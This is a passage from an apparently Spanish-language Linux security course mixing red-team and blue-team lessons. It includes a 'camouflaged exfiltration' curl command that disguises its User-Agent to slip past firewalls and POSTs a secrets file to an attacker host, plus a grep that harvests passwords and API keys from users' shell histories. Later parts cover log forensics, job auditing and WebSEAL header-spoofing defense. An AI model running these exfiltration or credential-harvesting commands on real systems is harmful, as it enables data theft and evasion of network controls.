El manual dice que es ideal para monitorizar cambios sin re-ejecutar comandos manualmente.

Comando:

watch -n 1 “cat /proc/net/tcp”

Explicación Técnica:

• -n 1: Intervalo de actualización en segundos (por defecto son 2). Lo bajamos a 1 para mayor precisión.

• ”…”: Es vital poner el comando entre comillas si tiene espacios o tuberías (|), para que watch entienda que todo eso es el comando a ejecutar.

Verificación: Vamos a vigilar la creación de un archivo en otra terminal (o simulándolo).

Ejecuta esto y verás un reloj en la esquina actualizándose cada segundo.

Para salir presiona Ctrl+C.

watch -n 1 “date”

(Si ves los segundos avanzar en tiempo real sin que tú toques nada, funciona).

5. Exfiltración Camuflada (curl)

El manual menciona curl para interactuar con sitios web. Nosotros lo usaremos para sacar datos simulando ser un navegador.

Comando:

curl -A “Mozilla/5.0 (Windows NT 10.0; Win64; x64)” -d @secreto.txt http://192.168.1.X:8000

Explicación Técnica:

• -A ”…” (User-Agent): Cambia la “identidad” de curl. Por defecto, curl dice “Hola, soy curl/7.68”. Los firewalls bloquean eso. Con esta flag, decimos “Hola, soy un navegador Chrome en Windows 10”.

• -d @archivo (Data): Envía el contenido del archivo mediante una petición POST (como si rellenaras un formulario web).

Verificación: Usaremos tu propio servidor http_drop.py (Nivel 7) para recibir el disparo.

1. Terminal 1 (Atacante): Ejecuta python3 http_drop.py.

Terminal 2 (Víctima):

echo “Dato robado” > prueba.txt

curl -A “SoyUnNavegadorFalso” -d @prueba.txt http://127.0.0.1:8000

2. Resultado: En la Terminal 1 deberías ver la petición entrante y el archivo guardado. Si funciona localmente (127.0.0.1), funcionará en red.

MÓDULO B: BLUE TEAM & ARQUITECTURA EMPRESARIAL (DEFENSA)

Fase 7: Análisis Forense en CLI

Objetivo: Detectar intrusiones usando manipulación de texto (grep, awk, sed).

1. El Cazador de Logs (AWK)

Detectar IPs atacantes contando repeticiones en logs.

awk ‘{print $1}’ access.log | sort | uniq -c | sort -nr | head

awk ‘{print $1}’: Extrae solo la primera columna (IPs).

• uniq -c: Cuenta repeticiones.

• sort -nr: Ordena numéricamente descendente (Top attackers arriba).

2. Búsqueda de Credenciales (Grep)

Encontrar contraseñas olvidadas en historial o config.

cat /home/*/.bash_history | grep -iE “pass|pwd|apikey”

Fase 8: Seguridad en Planificación de Tareas

Contexto: Banca de Inversión (CIB) y procesos Batch.

1. Jobs Aperiódicos (at / batch)

• Riesgo: Ejecución diferida de malware.

• Defensa: Usar /etc/at.allow y /etc/at.deny para restringir el uso solo a administradores.

• Auditoría: atq (ver cola), at -c <id> (ver comando programado).

2. Systemd Timers (El sustituto moderno de Cron)

• En entornos empresariales se prefiere Systemd por sus logs y control de dependencias.

• Requiere dos archivos: tarea.service (qué hacer) y tarea.timer (cuándo hacerlo).

• Comando: systemctl list-timers (Auditoría de próximas ejecuciones).

Fase 9: Gestión de Recursos & QoS

Contexto: Evitar que procesos batch nocturnos tiren el servicio online.

1. Prioridad de CPU (nice / renice)

• Escenario: Un backup satura la CPU.

• Solución: renice -n 19 -p <PID>.

• 19: Prioridad mínima (Background). El proceso solo usará CPU si nadie más la pide.

2. Clusters y Balanceo de Carga

• Load Average: Si sube de 5.0, el balanceador (F5/WebSEAL) expulsa al nodo.

• Stress Test: stress —cpu 2 para simular cargas y probar la respuesta del cluster.

Fase 10: Arquitectura WebSEAL & IAM

Contexto: Autenticación delegada en Banca.

1. Flujo de Autenticación

• Usuario → WebSEAL (Login + MFA/SMS).

• WebSEAL → Inyecta cabecera iv-user: sammi → Ubuntu Server.

• Ubuntu Server → Confía en la cabecera y loguea al usuario.

2. Riesgo: Header Spoofing

Si un atacante salta el WebSEAL y conecta directo al Ubuntu, puede enviar iv-user: admin y suplantar identidad.

3. Defensa en Profundidad

UFW (Firewall): sudo ufw allow from <IP_WEBSEAL> to any port 443.

[Regla de Oro]{.underline}: El servidor Ubuntu NUNCA debe aceptar tráfico directo de usuarios, solo del Proxy inverso.